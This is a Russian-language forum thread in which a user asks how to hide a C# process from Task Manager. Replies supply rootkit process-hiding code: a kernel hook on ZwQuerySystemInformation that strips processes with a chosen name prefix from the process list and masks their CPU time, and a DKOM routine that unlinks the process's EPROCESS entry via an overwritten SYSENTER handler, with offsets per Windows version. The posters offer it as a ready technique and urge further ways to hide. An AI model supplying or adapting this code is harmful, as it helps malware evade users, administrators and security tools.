Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
C# как сделать процесс невидимым для диспетчера задач?
 
ну, в общем, тема в сабджекте. помогите, буду благодарен
 
не используй C# и NetFrameWork,
бери asm и пиши apihoock на ZwQuerySystemInformation
 
Александр Неимеетзначения,
Ну, так категорично не есть хорошо говорить. можно написать маленькую assembly на managed C++ и юзать в C#-проекте.
Асм сейчас использовать (в 21м веке) для решения прикладной задачи как минимум глупо, а так, все в целом верно -- вешается hook (по сути руткит) который перехватывает NtQueryInformation()/ZwQueryInformation() и не показывает "нужные" процессы.
 
Ну сопсна- это все деловкуса,я просто считаю что не везде можно использовать шарпы и реймворки. В итоге все равно все сведется к вызову виндовых апишек, дак смысл тогда таскать с собой 20 метров фреймворка...
 
ЗЫ всех с НГ :D
 
Ну, 20 метров сейчас - пустяк.

На счет .NET и фреймворка в целом.... скатимся в оффтопик, да пофих - если что скажите TeckLord-у или еще кому из Редакторов, они почистят топик =)

в .NET существуют очень реальные проблемы маршаллинга данных между native<->managed компонентами, и самый простой способ чего-то добиться -- это связка managed C++ + C# (или VB.NET). В данном вопросе в любом случае (в .NET) все переползет в PInvoke - тут ничего не сделаешь, просто на шарпе маршал сделать для нерегулярных структур данных, даже с учетом unsafe/fixed ну блин геморно ппц.
Плюс накладываются затруднения того вида, что .NET портабелен между 32x и 64x, а чистый Си-код -- нет (про асм молчим =)
Вот такая вот фигня =(


зы: Александр Неимеетзначения, ник у вас прикольный, зочод =)
 
ну у меня весь проэкт на шарпе, надо уже его юзать.
то какие варианты решения? делать вставки на ассемблере? или хуки использовать?

P. S. всех з НГ :)
 
С Новым годом всех =)
Алексей Гроза,
на мой взгляд у Вас несколько вариантов смотря что Вы хотите и на каком уровне сложности пишите... Как уже отмечалось участниками Александр Неимеетзначения, и TSS, Вы можете перехватить ZwQuerySystemInformation, однако можете осуществить и перехват NtQuerySystemInformation первое через драйвер, второе через обычную длл, но если всё делать на совесть то уж лучше перехватывать ZwQuerySystemInformation  :)
Пример давно известного кода:
Код
///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
               SystemInformationClass,
               SystemInformation,
               SystemInformationLength,
               ReturnLength );

   if( NT_SUCCESS(ntStatus)) 
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)
      {
        // This is a query for the process list.
       // Look for process names that start with
       // '_root_' and filter them out.
               
       struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
       
       while(curr)
       {
         if (curr->ProcessName.Buffer != NULL)
         {
            if(0 == memcmp(curr->ProcessName.Buffer, L"_sxd_", 12))
            {
               DbgPrint("SXD: Hiding process %x\n", curr->ProcessName.Buffer);
               m_UserTime.QuadPart += curr->UserTime.QuadPart;
               m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

               if(prev) // Middle or Last entry
               {
                  if(curr->NextEntryDelta)
                     prev->NextEntryDelta += curr->NextEntryDelta;
                  else   // we are last, so make prev the end
                     prev->NextEntryDelta = 0;
               }
               else
               {
                  if(curr->NextEntryDelta)
                  {
                     // we are first in the list, so move it forward
                     (char *)SystemInformation += curr->NextEntryDelta;
                  }
                  else // we are the only process!
                     SystemInformation = NULL;
               }
            }
         }
         else // This is the entry for the Idle process
         {
            // Add the kernel and user times of _sxd_* 
            // processes to the Idle process.
            curr->UserTime.QuadPart += m_UserTime.QuadPart;
            curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

            // cap the user time and kernel time
            if( curr->UserTime.QuadPart > 99 ) {
                curr->UserTime.QuadPart = 99;
            }
            if( curr->KernelTime.QuadPart > 99 ) {
                curr->KernelTime.QuadPart = 99;
            }

            // Reset the timers for next time we filter
            m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
         }
         prev = curr;
          if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
          else curr = NULL;
        }
     }
     else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
     {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
     }

   }
   return ntStatus;
}

Однако такой драйверок палится антивирусом, как мол тип шпионьское добро  :)  :)  :)
Да и обнаруживается очень легко различными прогами...
Как вариант процесс можно скрыть через DKOM...
Код
BOOL KernelCall(ULONG caller)
{
   ULONGLONG OldSysenterHandler;
   ring0_handler = caller;

   OldSysenterHandler = ReadMsr(SYSENTER_EIP_MSR);

   if (OldSysenterHandler)
   {
      SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);

      if (WriteMsr(SYSENTER_EIP_MSR, (ULONGLONG)sysenter_hnd))
      {
         CallSysenter();
         WriteMsr(SYSENTER_EIP_MSR, OldSysenterHandler);
      }

      SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS);
   }

   return TRUE;
}

void HideProcess(void)
{
   __asm
   {
      mov      di,0x30
      mov      fs,di
   }

   pEprocess = fPsGetCurrentProcess();

   PLIST_ENTRY pListEntry = (PLIST_ENTRY)((ULONG)pEprocess + EPROCESS_flink);

   (pListEntry->Blink)->Flink = pListEntry->Flink;
   (pListEntry->Flink)->Blink = pListEntry->Blink;

   __asm
   {
      mov      di,0x3B
      mov      fs,di
   }
}

void HideProcess(void)
{
   OSVERSIONINFOEX osvi;
   BOOL bFound = FALSE;

   ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
   osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

   if (!GetVersionEx((OSVERSIONINFO *)&osvi))
   {
      osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
      
      if (!GetVersionEx((OSVERSIONINFO *)&osvi)) 
         return;
   }

   switch (osvi.dwPlatformId)
   {
      case VER_PLATFORM_WIN32_NT:
         if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
         {   // win2k
            EPROCESS_flink = 160;
            bFound = TRUE;
         }
         else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
         {   // winxp
            EPROCESS_flink = 136;      
            bFound = TRUE;
         }
         else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
         {   // win2k3
            EPROCESS_flink = 136;
            bFound = TRUE;
         }
         break;

      default: return;
   }
   if (!bFound) return;

   fPsGetCurrentProcess = (funcPsGetCurrentProcess)find_PsGetCurrentProcess();
   if (fPsGetCurrentProcess == NULL)
   {
      return;
   }

   KernelCall((ULONG)&HideProcess);

}

Можно и без драйвера написать... Например, свой процесс можно спрятать в потоке другого процесса, одним экзешником без длл и драйверов, но аналогично им нужно обладать админскими правами  :) есть и другие способы, так что дерзайте  ;)
 
Спасибо большое за информацию!
из нее я понял, что, во-первых, я не переведу это на шарп, второе, надо подучить спп :) а то много кода не понимаю.
а если есть админские права? как прятать?
я просто дома, сижу в нете с телефона, лазить в гугле нервов не хватит с такой скоростью.
Страницы: 1
Читают тему